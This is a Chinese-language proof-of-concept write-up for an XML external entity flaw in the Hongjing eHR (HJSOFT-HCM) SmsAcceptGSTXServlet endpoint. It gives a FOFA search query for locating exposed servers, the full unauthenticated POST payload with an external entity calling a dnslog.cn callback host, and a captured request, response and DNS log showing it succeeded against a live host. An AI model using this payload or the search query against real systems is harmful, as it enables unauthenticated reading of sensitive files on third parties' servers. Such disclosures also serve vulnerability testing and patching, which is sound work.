H1-9宏景-人力资源管理-XXE

漏洞描述：

宏景eHR SmsAcceptGSTXServlet接口处存在XML实体注入漏洞，未经身份认证的攻击者可以利用此漏洞读取系统内部敏感文件，获取敏感信息，使系统处于极不安全的状态。

网站图片：

网络测绘：

fofa语法：

FOFA：app="HJSOFT-HCM"

漏洞复现：

payload：

```
POST /servlet/sms/SmsAcceptGSTXServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml

<?xml version="1.0" ?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY sp SYSTEM "http://6666666.2uf09k.dnslog.cn">]><r><a>&sp;</a ></r>
```

效果图:
Dnslog验证

Request

数据包扫描 热加载 构造请求

```
POST /servlet/sms/SmsAcceptGSTXServlet HTTP/1.1
Host: 1[redacted]3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml

<?xml version="1.0" ?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY sp SYSTEM "http://6666666.2uf09k.
dnslog.cn">]><r><a>&sp;</a ></r>
```

Responses 68bytes / 1045ms

```
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
x-frame-options: SAMEORIGIN
Set-Cookie: JSESSIONID=7C35C6CB37FBE943462[redacted]
Content-Type: text/xml; charset=utf-8
Vary: Accept-Encoding
Date: Thu, 25 Jan 2024 15:04:20 GMT
Connection: close
Content-Length: 68

<ZWTSMSMessage type="resp">
<Status>
</Status>
</ZWTSMSMessage>
```

DNSLog 使用 Yakit 自带的 DNSLog 反连服务

内置 自定义 内置DNSLog: dnslog.cn 使用本地: 生成一个可用域名

当前激活域名为
2uf09k.dnslog.cn

只看A记录: 自动刷新记录:

域名	DNS类型	远端IP	Timestamp
6666[redacted]	A	[redacted]	2024-01-26 07:03:36
6666[redacted]	A	[redacted]	2024-01-26 07:04:23
[redacted]	A	[redacted]	2024-01-26 07:04:23